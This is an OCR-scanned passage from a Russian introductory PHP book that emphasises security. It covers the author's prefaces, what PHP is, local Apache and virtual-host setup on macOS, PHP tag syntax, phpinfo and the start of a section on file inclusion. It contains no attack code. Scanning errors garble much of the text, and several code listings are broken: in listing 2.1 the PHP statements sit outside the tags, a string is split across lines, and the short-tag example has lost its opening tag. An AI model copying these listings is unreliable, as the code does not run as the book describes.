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Предисловие 

к пятому изданию 

Это уже пятое издание книги, и за время ее существования от первоначальной вер

сии, похоже, ничего и не осталось. Все начиналось с небольшого сборника простых 

примеров с акцентом на безопасность, но от издания к изданию к ним постепенно 

добавлялись более сложные примеры, в том числе и по обеспечению безопасности, 

а сейчас весь этот материал еще и обновлен с учетом РНР 8-й версии. Надеюсь, мне 

удалось сделать книгу лучше. 

Ранние издания книги комплектовались компакт-диском с примерами программно

го кода, рассматриваемого в книге, и различными дополнительными материалами. 

Однако сейчас компакт-диски такого свойства вышли из употребления, а Интернет 

стал настолько доступен, что скачать себе какие-то 200 килобайт не составляет 

проблемы. Поэтому все приведенные в книге исходные коды примеров вы сможете 

найти на сайте издательства «БХВ» (см. приложение) или на моем сайте www.

flenov.info в разделе Книги.



Предисловие 

Эта книга посвящена одному из популярнейших языков программирования веб
сайтов - РНР. Вряд ли можно написать книгу, прочитав которую, вы сразу станете 
экспертом в такой области, как программирование, и моя книга тоже не претендует 
на подобную всеобъемлемость, но я постараюсь преподнести вам ее материал мак
симально просто и увлекательно, поскольку считаю, что информация лучше усваи
вается, когда она излагается в интересной форме, а вы, выполняя приведенные 
в книге примеры, видите результат своих действий. 

Все книги по программированию, с которыми я знакомился, ставят перед собой 
цель научить читателя программировать, и только в конце книг их авторы обраща
ют внимание на оптимизацию и безопасность. Мне кажется, что это не совсем вер
но, потому что е9ли человека сразу не научить программировать эффективно, то 
потом, с помощью пары финальных глав, переучить его будет сложно. 

О безопасности нужно думать всегда, поскольку это проблема комплексная. Нет 
такого решения, которое может гарантировать, что после его реализации ваш код 
станет абсолютно безопасным. В крупных корпорациях за безопасностью следит 
большое количество специалистов, но и Google, и MS много раз подвергались 
успешным атакам, и нет гарантии, что проблемы с безопасностью не выявятся 
у них и в будушем. 

Ошибки, сделанные вами в процессе разработки программы, могут принести вам 
большую пользу (да!), потому что, выясняя их природу, вы сумеете лучше разо
браться с возникшей ситуацией и найти правильное решение. Но это только в том 
случае, если ошибка закрадывается в программу на этапе ее разработки, и такая 
программа не попадает на рабочие серверы. Чтобы ошибка не оказалась фатальной 
для сайта и карьеры программиста, желательно постоянно отслеживать тенденции 
в технологиях компьютерной безопасности и проверять свой сайт на предмет воз
можных уязвимостей. 

В этой книге описывается язык программирования РНР, начиная с самых его основ, 
и параллельно затрагиваются аспекты безопасности и оптимизации работы сцена

риев. Таким образом, вы с самого начала будете учиться создавать быстрые и за

щищенные приложения. О безопасности нужно думать всегда, а не в конце работы. 
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Я даже скажу больше - начинать думать о ней следует еще до того, как вы начнете 
писать код. 

Несмотря на то что мы будем рассматривать безопасность и оптимизацию в тече
ние всего периода изучения языка РНР, я не могу утверждать, что вы получите ис
черпывающие знания. Очень многое останется за рамками книги, потому что нель
зя предложить абсолютно эффективные и универсальные алгоритмы на все случаи 
жизни. Притом универсальность очень часто несовместима с понятиями эффектив

ности и безопасности. 

Помимо задач безопасности, мы затронем также вопросы создания сайтов, способ
ных обрабатывать высокие нагрузки. Впрочем, для разработки сайта, который 
сможет выдерживать нагрузки типа Google, вам понадобится намного больше зна
ний, чем может дать эта книга, но я все же попробую дать вам хотя бы некоторые 

основы решения подобных проблем. 

Рассматривая примеры того, как хакер может взломать сценарии, написанные на 
языке РНР, мы будем, как правило, подразумевать, что сервер работает под управ
лением ОС UNIX или одной из UNIХ-подобных систем - например, Linux. Дело 
в том, что основная часть веб-сайтов с РНР-сценариями работает под управлением 
именно этих операционных систем. И для лучшего понимания материала вам необ
ходимо иметь хотя бы поверхностное представление о какой-нибудь ОС семейства 
UNIX. А если вы знакомы. с основами безопасности такой системы, наш разговор 
будет более продуктивным. Поэтому я рекомендую вам прочитать мою книгу 
«Linux глазами хакера» [ 1]. 

Использование Linux не обязательно. Эга книга и все примеры к ней написаны на 
компьютере под управлением macOS, которая, впрочем, своими корнями уходит 
в UNIХ-подобные системы. Можно использовать даже Windows, потому что и под 
эту ОС тоже есть версия веб-сервера Apache, и на нее также можно установить базу 

данных MySQL и РНР - приложения, с которыми мы будем работать в процессе 
изучения материала книги. 

Как вы уже, наверное, поняли, в этой книге будет рассматриваться самая популяр

ная в Интернете связка - LАМР (Linux, Apache, MySQL и РНР), хотя первую бук
ву в моем случае будет заменять М (macOS), - на этих четырех китах стоит боль
шинство сайтов в Интернете, как и десять сайтов моей собственной разработки. За 
свою практику я создал много сайтов на этой платформе и считаю ее очень удачной 
для интернет-решений. 

Ни одна книга не сможет сделать из человека хакера. Точно так же никакой труд не 
сделает из обезьяны человека - по крайней мере, не за одно поколение. Нужна 
долгая и кропотливая работа. В этой книге я не собирался научить кого-то хакер
скому искусству. Если вы купили книгу только из-за этого слова, то, возможно, вас 
ждет разочарование. Но если вы приобрели ее для получения знаний о безопасно
сти, то сможете найти для себя много нового и интересного. Я, по крайней мере, 
надеюсь на это и ставил перед собой такую задачу. 
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в США, и трафик ее сайта весьма высок. 

Разработаны также мной и несколько сайтов с менее высоким трафиком. Среди них: 

□ www.besed.ca - сайт о Канаде;

□ www.flenov.info - мой персональный блог.

Благодарности 
Очень хочется поблагодарить всех тех, кто помогал мне в создании этой книги. 
Я не расставляю благодарности в порядке их значимости, потому что каждая по
мощь очень существенна для меня и для моей книги. Поэтому порядок не несет 
в себе никакого смысла, а выбран так, чтобы постараться никого не забыть. 

Хочется поблагодарить издательство «БХВ», с которым у меня сложилось уже 
весьма долгое и продуктивное сотрудничество. Надеюсь, что это сотрудничество не 
прервется никогда. Спасибо его редакторам и корректорам за то, что исправляют 
мои недочеты и помогают сделать книгу лучше и интереснее. 

Хочется поблагодарить мою семью, которая терпит исчезновения своего главы за 
компьютером. Я прекрасно понимаю, как тяжело видеть мужа и отца семейства, 
который вроде бы дома и в то же время отсутствует. Это напоминает загадку: 
«Висит груша, нельзя скушать». Я, правда, не груша и нигде не подвешен, но рабо
тать приходится много, и очень часто мой рабочий день длится 16 часов. 

Хочу поблагодарить тех, кто разрешил тестировать свои серверы и сценарии в це
лях выявления ошибок, а также позволил просмотреть свои сценарии и настройки 
безопасности. Сотрудничество оказалось взаимовыгодным. 

А единственная благодарность, которую я хотел бы принести раньше всех других и 
придать ей большую значимость, - это вам, за то, что купили книгу, и моим по
стоянным читателям, которые также участвуют в создании моих книг. Все мои по
следние работы основываются на вопросах и предложениях читателей, с которыми 
я регулярно общаюсь через свой сайт www.flenov.info. Я постараюсь помочь вам по 
мере возможности и жду любых комментариев по поводу этой книги. Ваши заме
чания помогут мне сделать свою работу лучше. 

На этом я заканчиваю вступление, и мы можем переходить к самому интересному 
в этой книге- к РНР, программированию и безопасности. 
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Программирование интернет-приложений, в том числе и работающих в браузере, 
предполагает большую ответственность за безопасность и защиту данных. Если вы 
напишете календарь, калькулятор или текстовый редактор, то такие программы, 
скорее всего, не привлекут внимания хакеров, да и не так уж много есть способов 
взломать систему, используя подобные приложения. 

Но если вы разрабатываете веб-сайт, даже самый простой, ваш труд моментально 
окажется в зоне внимания злоумышленников. Один начинающий программист как
то возмутился: «Кому нужна моя личная домашняя страничка? Кто будет ее взла
мывать ради дефейса?» Однако внимание может привлечь не сам сайт или инфор
мация на нем, и дефейс ( смена главной страницы) - далеко не единственная цель 
хакеров. Целью может быть не сам сайт, а· сервер, на котором он работает. Получив 
полный доступ к сайту, можно использовать его в других, не вполне легальных 
целях. 

Взломанные и подконтрольные злоумышленникам серверы в Интернете являются 
очень ценным ресурсом - ведь с их помощью можно проводить атаки на другие 
ресурсы Сети, причем анонимно. Через взломанные сайты распространяют вирусы 
и другую компьютерную заразу, рассылают спам и атакуют другие серверы. 

Я считаю, что безопасность при разработке веб-сайтов важна вне зависимости от 
размера сайта и его привлекательности для злоумышленников, и мы будем думать 
о ней постоянно на протяжении всей книги. Да, безопасность - это комплексный 
вопрос, ответ на который кроется в особенностях не только языка программирова
ния, но и сервера баз данных, и ОС, под управлением которой все это работает. 
Безопасность невозможно измерить, поэтому очень сложно сказать, когда безопас
ность становится достаточной. 

1.1 . Что такое РНР? 

Язык РНР ( один из вариантов расшифровки этой аббревиатуры: Personal Home Page 
Tools, инструменты персональных домашних страниц)- это язык сценариев с от
крытым исходным кодом, встраиваемых в НТМL-код и выполняемых на веб-
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сервере. РНР написан веб-разработчиками и для веб-разработчиков и является кон
курентом таких продуктов, как Microsoft Active Server Pages (ASP) и Java Server 
Pages. 

Сам по себе веб-сервер не умеет выполнять сценарии РНР - для этого необходима 
программа-интерпретатор. Такие интерпретаторы существуют для всех популяр
ных веб-серверов (ПS, Apache) на всех основных платформах (Windows, Linux, 
macOS и пр.). 

Язык РНР очень часто рассматривают в совокупности с Apache Web Server. Это 
бесплатный веб-сервер, который является лидером в своей области и используется 
более чем на половине серверов в Интернете (точную цифру назвать сложно, но 
любые данные указывают на преобладание этого сервера). 

РНР позволяет встраивать фрагменты кода непосредственно в НТМL-разметку, а 
интерпретированный код вашей страницы отображается посетителю. Код на языке 
РНР можно воспринимать как расширенные теги НТМL, которые выполняются на 
сервере, или как маленькие программы, которые выполняются внутри страниц, 
прежде чем будут отправлены клиенту. Все, что делает код программы, незаметно 
для посетителя сайта. Далеко не всегда это свойство является преимуществом, раз
ве что только для очень маленьких сайтов. В случае с крупными проектами логику 
все же лучше держать отдельно от представления. 

Практически ни один более или менее крупный веб-сайт не может работать без 
хранwтща данных. Для решения этой задачи можно использовать текстовые файлы 
на сервере или базы данных (второе намного удобнее при работе с большим коли
чеством данных). В этой книге мы будем весьма часто рассматривать работу баз 
данных, а в качестве основной использовать самую распространенную на нынеш
ний момент - MySQL. Это реляционная база данных с открытым исходным ко
дом, которая проста в использовании и поддерживается большинством хостинrо
вых компаний. 

Почему именно РНР и почему вообще вы должны изучать его? Сейчас все уходит 
в Сеть. Если лет десять назад пользователям приходилось для работы устанавли
вать соответствующие программы на локальный компьютер, то сейчас многие опе
рации выполняются из браузера. Мы в браузере работаем с почтой, документами и 
электронными таблицами, и в нем большинство из нас проводит больше всего вре
мени. 

В Канаде сейчас РНР - один из самых востребованных языков. Здесь стабильный 
и высокий спрос на специалистов со знанием РНР, хотя в среднем .NET- и Jаvа
проrраммисты зарабатывают все же больше. Но зато РНР-проrраммисту проще 
найти работу. Моя первая работа в Канаде как раз и бьmа связана с этим языком 
программирования. 

1.2. Создание сайта для Apache 

Код РНР - это не просто НТМL-разметка, которая выполняется прямо в браузере. 
Это код, который работает на сервере. 



Введение в РНР 13 

Самым простым способом тестирования является использование встроенного 
в РНР сервера. Дпя его запуска перейдите в папку со сценарием и в нем выполните 
команду: 

php -S localhost:8080 

В результате вы должны увидеть в командной строке что-то типа: 

[Fri Sep 23 18:12:03 2022] РНР 8.1.8 Developnent Server (http://localhost:8080) 
started 

Версия РНР и дата/время у вас будут отличаться, но данные, прописанные в приве
денной строке, показывают вам точную дату, когда я пишу эти строки. 

Число 8080 - это номер порта, его указывает в системе запущенный сервис. Если 
какой-то сайт или программа уже открыли порт с таким номером, то операция за
кончится ошибкой. По номеру порта система определяет, кто должен обработать 
запрос. Так как я указал номер 8080, то все обращения к этому порту будут направ
ляться системой к веб-серверу, который мы запустили. Чаще всего в качестве но
мера порта используются числа 80, 8080 или 8000. 

Самым популярным веб-сервером сейчас является Apache, и здесь я покажу вари
ант его настройки. В качестве операционной системы мы воспользуемся macOS, но 
настройка Apache в Linux-cиcтeмax почти не отличается - разница может быть 
только в расположении конфигурационных файлов. К тому же у меня есть целая 
кдига по Linux, и там эта тема подробно раскрыта, так что я могу порекомендовать 
вам с ней ознакомиться (имеется в виду уже упомянутая в предисловии книга 
«Linux глазами хакера»). 

В macOS конфигурационные файлы Apache расположены в каталоге /etc/apache2.

Причем по умолчанию конфигурация распределена по множеству файлов. В неко
торых системах наоборот - по умолчанию все хранится в одном большом файле 
http.conf. Например, у меня на выделенном сервере в интернет-хостинге установлена 
ОС CentOS, и там по умолчанию дела обстоят именно так. 

Способ расположения конфигурационных файлов можно изменить, т. к. сервер 
Apache- весьма гибкий, и его можно конфигурировать по-разному. Но это тема 
отдельной книги по Linux или Apache. 

Итак, для начала открываем файл httpd-vhosts.conf в любом текстовом редакторе 
(я предпочитаю редактор vi): 

vi /etc/apache2/extra/httpd-vhosts.conf 

и добавляем следующую секцию: 

<VirtualHost *:80> 
DocumentRoot "/Users/rnichaelflenov/Projects/WeЬ/phpbook" 
ServerNarne phpbook 
ErrorLog "/var/log/apache2/phpbook.corn-'-error_log" 
CustornLog "/var/log/apache2/durnrny.access_log" cornrnon 

</VirtualHost> 
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Здесь я создаю новый виртуальный хает, файлы которого будут располагаться 
в каталоге /Users/michaelflenov/Projects№eЬ/phpbook. Очень важно, чтобы веб-сервер имел 
права доступа к этому каталогу. При локальной разработке для решения этой пробле
мы можно изменигь права, от имени которых вьшолняются сценарии. Для этого в фай

ле /etdapache2/httpd.conf нужно найти параметры user и Group и поменять на даннь1е ва

шего аккаунта: 

User mikhailflenov 
Group staff 

Обратите внимание, что такое изменение можно делать только при локальной разра
ботке. На реальных рабочих серверах так делать не стоит, потому что ваша учетная 

запись, скорее всего, обладает такими правами, которые могут оказаться серьезной 
проблемой безопасности. Более подробно о настройке Apache можно почиrать в спе
циализированной литературе- например, в той же книге «Linux глазами хакера». 

Именем сервера (параметр serverName) у нас будет phpbook, и именно по этому имени 
в браузере мы сможем обратиться к нашему сайту. 

Параметры ErrorLog и CustomLog не обязательны с точки зрения работы сайта, но 
желательно обеспечить их уникальность - задать для каждого сайта индивидуаль

ные значения, чтобы проще бьmо отлаживать возможные проблемы. 

Чтобы Apache прочитал настройки, его нужно перезапустить, выполнив команду: 

sudo apachectl restart 

Здесь sudo указывает на то, что команду нужно выполнять с правами администра

тора. Управление сервером- достаточно привилегированная задача, и ее нельзя 
доверить абсолютно каждому, поэтому в Linux и в macOS для этого требуются 

привилегированные права. Как дела обстоят в Windows, я не знаю - я не ставил 
Apache на эту ОС уже лет двадцать, а это, кажется, были времена еще Windows 95. 

Команда, которая управляет веб-сервером, - это apachectl. А параметр restart 
говорит о том, что нужно перезагрузить сервер, и в этот момент будет перезагру
жена его конфигурация. 

Сайт готов, но браузер пока не сможет загрузить его по имени phpbook, потому что 
не знает, что это имя должно указывать на ваш же компьютер. Обычно, когда мы 
обращаемся к сайтам в Интернете, вопросом превращения имени в адрес занимает

ся сервер DNS, но в нашем случае его нет. Впрочем, при локальной разработке 
можно обойтись и файлом hosts. Дело в том, что когда мы в браузере вбиваем 
какое-либо имя, то сначала система ищет адрес этого имени в файле hosts, и если 
там не найдет его, то обращается к DNS-cepвepaм в Интернете. 

В Linux и macOS этот файл находится здесь: /etdhosts, и в него мы добавляем новую 

запись: 

127.0.0.1 phpbook 

Вот теперь все готово, чтобы мы смогли работать с РНР-скриптами и тестировать 
их с помощью нашего сайта. Некоторые любят задействовать программы типа 
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МАМР, которые предоставляют визуальный интерфейс для конфигурирования ло
кальных сайтов. Честно говоря, я не вижу в этом особого смысла, потому что вруч
ную (без дополнительной программной обертки) это делается очень даже просто. 

Так как в файле hosts мы указали просто имя - без имени домена типа . ru, то, если 
просто вбить в адресной строке браузера phpbook, браузер может запустить по это
му слову поиск Google, а не сайт, поэтому нужно вводить: http: //phpbook/. Чтобы 
не усложнять себе задачу, вы можете добавить в конфигурацию и в файл hosts лю
бой домен на свой выбор - например, заменить везде phpbook на phpbook. edu.

В этой книге я буду в основном использовать первый вариант - встроенный в РНР 
сервер. И всегда запускать локальный сервер из той же папки, что и скриm, если не 
сказано другого: 

cd путь к скрипту

php -S localhost:8080 

А также всегда работать через порт 8080. 

1 . З. Как работает РНР? 

Что значит «встраиваемый» язык? Рассмотрим простой пример кода веб-страницы, 
в которой используются РНР-инструкции (листинг 1.1). 

<html> 

<head> 

<title> test page </title> 

</head> 

<body> 

<?php 

$title='We are glad to see you again'; 

?> 

<p>hello. <?php echo $title ?>

<p>current time <?php echo date('y-m-d h:i:s') ?>

</body> 

<html> 

Инструкции РНР по умолчанию заключаются в тег <?php . . . ?>. Мы пока не будем 
вникать в код, показаннь1й здесь, потому что сейчас главная задача - уяснить об
щий принцип работы (уже прочитав следующую главу, вы поймете написанный 
здесь код). Если теперь вы загрузите эту страничку с веб-сервера, то должны уви
деть примерно то, что изображено на рис. 1.1. 

Я живу в Канаде, и мой MacBook имеет канадские настройки, поэтому и дата на 
иллюстрации выглядит таким странным образом: 22-09-23. На самом деле это 
22 сентября 2023 года. 
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••• 0 test page 

f- . ➔ С (D localhost:8080/test.php 

This is а string. 

х + 

РНР is а next generation of WEB programming. 

You will like this 

hello. We are glad to see you again 

current time 22-09-23 10: 11 :55 

HackishPНP 

© Mikhail Flenov 2019 

r!) * □ • 

Рис. 1.1. Страница, в которой работает код РНР 
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V 

Наш сайт настроен так, что корень его находится в каталоге /Users/michaelflenov/ 
Projects/WeЬ/phpbook (см. разд. 1.2). Чтобы загрузить тестовый файл, я сохранил его 
код в файл с именем test.php в каталоге /Users/michaelflenov/Projects/WeЬ/phpbook/ 
chapter1 (вы найдете этот файл в папке chapter1 сопровождающего книгу файлового 
архива). После этого в терминале перешел в эту папку и запустил локальный сер
вер: 

cd /Users/michaelflenov/Projects/WeЬ/phpbook/chapterl 
php -s localhost:8080 

И чтобы увидеть результат, загрузил в браузере адрес: bttp://localhost:8080/ 
test.php. Веб-сервер исполнил РНР-код, расположенный между тегами <?php и ?>, 
и возвратил браузеру уже обработанный код. 

Давайте посмотрим на исходный код страницы в браузере. Для этого выберите 
в его меню Вид I В виде НТМL (View I Source) - само меню в зависимости от 
браузера может отличаться. Перед вами откроется окно текстового редактора, 
в котором будет содержаться примерно следующий код: 

<HTML> 
<HEAD> 
<TITLE> Test page </TITLE> 
</HEAD> 

<BODY> 
<p>Hello. We are glad to see you again
<p>Current time 15-12-15 07:03:45
</BODY>
<HTML>

Как видите, никаких РНР-инструкций больше нет. Все они исчезли. Это связано 
с тем, что сервер обработал наши команды и передал посетителю «чистый» НТМL
код. Можно также сказать, что посетитель видит лишь результат работы сценария. 
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Когда посетитель запрашивает страницу, сервер обрабатывает все РНР-инструкции 
на этой странице и возвращает только результат обработки на «чистом» НТМL. 

Мы создаем простую НТМL-страницу, в которой присутствует код РНР. В некото
рых языках, схожих по назначению с РНР (например, в Perl), происходит обратное. 
Там вы пишете код программы, а для добавления НТМL-тегов нужно писать спе
циальные инструкции. В РНР возможны оба способа. 

Мы будем использовать много «чистого» РНР-кода вместе с НТМL, но для реаль
ных проектов это все же нежелательно. Исполняемый код (РНР) должен быть мак
симально отделен от представления (НТМL). Так удобнее и эффективнее с точки 
зрения сопровождения. Это большая и интересная тема, и к ней мы будем неодно
кратно возвращаться. 

Язык РНР является интерпретируемым. Это значит, что его не надо компилиро
вать в программу (хотя можно и откомпилировать), а выполнение происходит на 
лету. Это очень удобно, но иногда может приводить к издержкам, потому что ин
терпретация текста в машинный код отнимает процессорное время. Впрочем, ин
терпретатор РНР умеет компилировать на лету: во время первого чтения файла он 
интерпретируется, а если потом происходит обращение к уже использованному 
ранее коду, то он просто исполняется без повторной компиляции. 

Есть у интерпретируемости и еще один недостаток - сценарии РНР поставляются 
в исходных кодах, и, если вы будете их распространять, любой программист смо
жет увидеть ваш труд и использовать в своих целях. Посетители же вашего сай:rа 
не смогут увидеть исходный код, потому что в браузер попадает лишь результат 
или НТМL-документ. 

1 . 4. Чего ждать дальше? 

Дальше я буду много внимания уделять самому языку программирования РНР, 
и большинство примеров приводить на «чистом» языке, без использования каких.
то фреймворков. Фреймворки упрощают программирование, когда нужно работать 
над большими сайтами, а «чистый» РНР можно использовать только для создания 
сайтов из нескольких страниц или микросервисов. 

Микросервисы в последнее время набирают большую популярность, потому что 
это отличный способ разделения проектов на небольшие части и решения проблем 
классическим подходом: разделяй и властвуй. По сути микросервисы - это не
большие программы, которые выполняют определенную задачу и делают ее хоро
шо. При их разработке стараются отказаться от любых зависимостей, чтобы код 
был максимально простым и легким. И вот тут я часто вижу, что программисты 
отказываются от фреймворков. Каждая зависимость потребует дополнительной 
поддержки, обновления и мониторинга безопасности. 

Разобравшись с «чистым» РНР и простыми примерами с участием только НТМL, 
мы познакомимся с одним из фреймворков и поговорим о безопасности с их точки 
зрения. Подход на основе фреймворков весьма удобен для создания монолитных 
приложений, отлично подходящих для средних по размеру проектов или проектов 
любого размера, над которыми работает небольшая команда. 
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Основы РНР 

В этой главе мы познакомимся с основами языка РНР и научимся писать простей
шие сценарии. Нам предстоит заложить фундамент, на котором будет построен 
процесс изучения всего материала книги. Уже в этой главе мы овладеем некоторы
ми приемами, которые помогут сделать ваш код лучше. 

Даже если вы знакомы с РНР, я советую вам просмотреть эту главу. Возможно, вы 
почерпнете для себя что-то новое. В любом случае я считаю полезным взглянуть на 
знакомые вещи со стороны. Конечно же, опытному программисту я мало чего но
вого расскажу об основах РНР, но некоторые советы из моего личного опыта могут 
оказаться и ему интересными и полезными. 

Итак, нам предстоит узнать, как пишутся инструкции РНР, что такое переменные, 
мы познакомимся с логическими операторами и обсудим, как можно управлять вы
полнением программы. 

Я постараюсь сделать описание максимально увлекательным, хотя на начальном 
этапе это непросто. Неподготовленный читатель должен сначала усвоить необхо
димые основы, без которых мы не сможем начать писать более интересный код для 
Сети. А т. к. примеров поначалу будет мало, описание может показаться сухим 
и занудным. Но я сделаю все, чтобы вы не заскучали. 

Чтобы материал лучше запоминался и его интереснее бьmо читать, я рекомендую 
вам самостоятельно создавать файлы сценариев и проверять результат работы. 
Только так вы приобретете достаточный опыт и лучше запомните излагаемый 
в книге материал. 

Что ж, приступаем к более глубокому знакомству с одним из самых интересных 
и мощных языков программирования веб-сайтов - с языком РНР. 

2 .1 . РНР-инструкции 

Как мы уже знаем, РНР-инструкции могут находиться прямо в НТМL-документе 
или в отдельных РНР-файлах. Для простоты я буду часто использовать именно 
первый вариант. Но как веб-сервер определяет внутри НТМL-документа РНР-код, 
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который надо выполнить, а какой - просто вернуть браузеру? Как отделить РНР 
от HTML? Очень просто. С помощью специального соглашения вы указываете, где 
начинается и заканчивается код. Все остальное воспринимается как НТМL
документ. 

Чаще всего для обозначения начала и конца РНР-инструкций используется сле
дующий формат (потому что он установлен по умолчанию): 

<?php 

код РНР 

?> 

Все, что располагается между тегами <?php и ?>, воспринимается сервером как 
РНР-код и обрабатывается соответствующим образом. Остальное воспринимается 
как НТМL-документ, передается клиенту· без изменений и обрабатывается уже 
в браузере посетителя. 

Такой формат наиболее предпочтителен, и в этом случае вы можете быть уверены, 
что он будет корректно обработан сервером. Однако допускается использовать и 
другие варианты, которые поддерживаются в настоящий момент. Правда, вы долж
ны отдавать себе отчет, что только теги <?php и ?> будут гарантированно поддер
живаться во всех версиях. Именно так заявили разработчики много лет назад. Ко
роткие варианты (см. далее) тоже работают и, скорее всего, будут работать всегда. 

Теперь рассмотрим другие варианты вьщеления РНР-кода. Самый короткий и по
пулярный такой: 

код РНР 

?> 

Чтобы сервер распознал эту форму записи, следует включить ее поддержку со сто
роны РНР. Для этого нужно скомпилировать интерпретатор РНР с опцией: 

--enaЬle-short-tags 

или в файле настроек РНР php.ini изменить значение параметра short _ open _ tag на on. 

На мой взгляд, этот формат оформления РНР-кода стал самым популярным, и я сам 
в большинстве случаев использую сейчас именно его, хотя раньше и рекомендовал 
отключать короткие теги. Предполагаю, что этот формат тоже будет жить долго. 

Следующий тип записи выглядит так: 

<% 

код РНР 

%> 

Этот вариант оформления кода немного проще, чем первый, но именно он принят 
вАSР. 

А вот самый громоздкий способ: 

<SCRIPT LANGUAGE="php"> 

код РНР 

</SCRIPT> 
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Давайте попробуем что-нибудь напищ1ть на языке РНР. Первое, с чего можно на
чать, - напечатать какой-либо текст и узнать информацию. об установленном на 
сервере интерпретаторе РНР. Для этого создайте файл information.php со следующим 
содержимым (листинг 2.1). В папке chapter2 сопровождающего книгу файлового 
архива этот файл сохранен под именем I2-1.php. 

Листинг 2.1. Вывод информации об инт�рпретаторе РНР 

<html> 

<head> 

<title> Test page </title> 

</head> 

<body> 

<?php 

?> 

print("<p>This is information about php</p>"); 

phpinfo(); 

</body> 

<html> 

Загрузите с помощью FТР-клиента этот файл на ваш веб-сервер или поместите его 
в любой каталог для тестирования. Затем запустите встроенный в РНР сервер из 
папки chapter2 сопровождающего книгу файлового архива и наберите в адресной 
строке браузера: 

http://localhost:8080/12-l.php 

Результат выполнения сценария можно увидеть на рис. 2.1. 

Такой сценарий чаще всего используют для тестирования работоспособности сер
вера, правильности установки РНР и получения параметров. Рассмотрим, из чего 
состоит этот сценарий. 

Между тегами <?php и ?> расположены две строки команд: 

print("<p>This is information about php</p>"); 

phpinfo(); 

В первой строке вызывается функция print (). С ее помощью можно выводить 
в окно браузера какой-нибудь текст. Как мы уже знаем, для вывода простого текста 
достаточно использовать НТМL, но в нашем случае я хотел показать, как это дела
ется посредством РНР-функций. В дальнейшем мы познакомимся с этой функцией 
более подробно, а пока достаточно будет основных сведений. 

Любая РНР-функция может получать параметры, которые указываются в скобках 
после имени функции. Для функции print () в скобках нужно задать текст, который 
должен быть напечатан в браузере клиента. Текст заключается в двойные или оди,
нарные кавычки. Посмотрите на текст, который мы указали, и вы увидите, что 
в нем есть НТМL-теги <р>, которые служат для оформления параграфов. Текст 
может идти вперемежку с НТМL-тегами, и его можно форматировать. 
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Тhis is information aЬout php 

t!J * □• 

Dcw1n --18n 21.М DarwfnJ(emol- 21.8.0: МonAug 22_ 20:20:07 PQT 2022; root:xnu• 
.140.�9--21RELEASE__AAМ64_Т8110 arm64 

·A-001-М1-oo-1.locel 21.8.О Dorwln Kemel VtrSion 21.8.0: WedAug 1014:28:35 РОТ 2022; 
141.5-21RELEASE_ARМ64_Т8101 arm84 

Рис. 2.1. Результат вывода информации о РНР 
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Не знаю, есть ли такое правило, но лично я не рекомендую использовать функцию 

print () для вывода текста. В реальных условиях с ее помощью следует выводить 

значения переменных. Если же нужно вывести текст, то выносите его за пределы 

РНР-кода - например, так: 

<?php 

?> 

<p>This is information about php</p>

<?php 

phpinfo(); 

?> 

Здесь сначала открыт один блок кода РНР, в котором ничего нет, но допустим, что 

там есть какая-то логика. Потом этот блок закрывается и выводится простой 

НТМL-заголовок, а дальше снова открывается еще один блок кода, где мы продол

жаем писать на РНР. 

То есть я рекомендую размещать НТМL-код за пределами РНР-блоков. А с помо

щью функции print () лучше выводить только переменные и, если нужно, неболь
шие сообщения. 

Далее у нас в коде вызывается функция phpinfo () . Она отображает в браузере 
отформатированную информацию о РНР, которую вы и можете наблюдать 

(см. рис. 2.1). Для этой функции не нужны параметры, поэтому в скобках ничего не 

указано. 
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При создании страниц вы в любой момент можете переключаться между режимами 
РНР и HTML. Точнее сказать, что в любое место НТМL-документа можно встав7 
лять РНР-команды, как показано в листинге 2.2. 

<html> 
<head> 
<title> Vision </title> 
</head> 
<body> 
<р> Hello </р> 
<р> <?php $i = 1; print("this is 
<р> i = <?php print($i) ?> </р> 
</body> 
<htrnl> 

");?> </р> 

В этом примере две строки содержат РНР-код, а остальные - НТМL-код. Вы 
можете вставлять участки кода на языке РНР так часто, как вам это нужно. 

Но это еще не все. В первой строке РНР-кода мы объявляем переменную $i, кото
рая будет равна 1. Что такое переменная? Сейчас вам достаточно понимать, что это 
ячейка (или область) памяти для хранения определенных значений (чисел, строк 
и т. д.), с которыми потом можно производить вычисления или другие действия. 
Переменные - это как бы маленькие чемоданчики С· именами внутри памяти ком
пьютера, в которые можно запрятать данные. Имена переменных начинаются 
с символа$. Итак, наша ячейка памяти будет называться $i и содержать значение 1. 

Во втором участке кода происходит печать содержимого ячейки памяти с име
нем $i. 

Как видите, значение ячейки памяти $i никуда не исчезло и равно 1, несмотря на 
то, что переменная создана в одном месте, а использована в другом. Таким обра
зом, переменные сохраняют свои значения на протяжении всего документа. 

Есть более короткий метод вывести значение переменной: 

<?= ПЕРЕМЕННАЯ ?> 

Вместо слова ПЕРЕМЕННАЯ можно указывать имя переменной, и РНР просто выведет 
значение переменной. Приведенный ранее код мы могли бы переписать с использо
ванием этого короткого варианта следующим образом: 

<р> Hello </р> 
<р> <?php $i = 1; print("this is 
<р> i = <?= $i ?> </р> 

");?> </р> 

На мой взгляд, такой вариант выглядит весьма элегантно. 
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2.2. Подключение срайлов 

Многократное использование кода - вечная проблема для любого программиста. 
Когда мы разрабатываем новый проект, нам абсолютно неинтересно решать те же 
проблемы, которые были уже решены при реализации предыдущих. Было бы 
хорошо просто воспользоваться имеющимся кодом и поддерживать его только 
в одном месте. 

Вы, наверное, не раз слышали о динамических библиотеках Windows. Это библио
теки, в которых хранятся различные ресурсы (картинки, значки, формы диалоговых 
окон, меню и другие типы ресурсов) и/или код программы. Любая программа мо
жет загрузить такую библиотеку и использовать ее содержимое. Например, 
OpenGL - графическая библиотека, в которой хранятся функции для создания 
ЗD-графики практически любой сложности. Программист может загрузить эту биб
лиотеку в память компьютера и использовать в своих проектах. Соответственно, 
ему не придется для каждой программы заново писать код графических функций, 
а можно будет воспользоваться тем, что уже хорошо сделано другими разработчи
ками. 

При программировании веб-страниц проблема многократного использования кода 
становится еще более острой. Ваш сайт может содержать сотню файлов с кодом, 
и писать в каждом из них одни и те же команды неудобно и нерационально. Файлы 
будут получаться объемными, а сопровождение большого количества файлов пре
вратится в сущий ад. 

Многократное использование кода в РНР реализовано через подключение файлов. 

Подключение файлов можно воспринимать и как еще один способ внедрения 

РНР-кода в веб-страницу. Осуществляется оно с помощью функций include () и 

require (), имеющих четыре разновидности: 

include('/filepath/filenarne'); 
include_once('/filepath/filenarne'); 

require('/filepath/filenarne'); 
require_once('/filepath/filenarne'); 

Все эти функции подключают указанный в скобках файл. В предыдущих версиях 

РНР между функциями include()/include_once() и require()/require_once() при
сутствовала небольшая разница в скорости работы. В настоящее время существует 
разница только в генерируемых ошибках. Первые две функции при обнаружении 
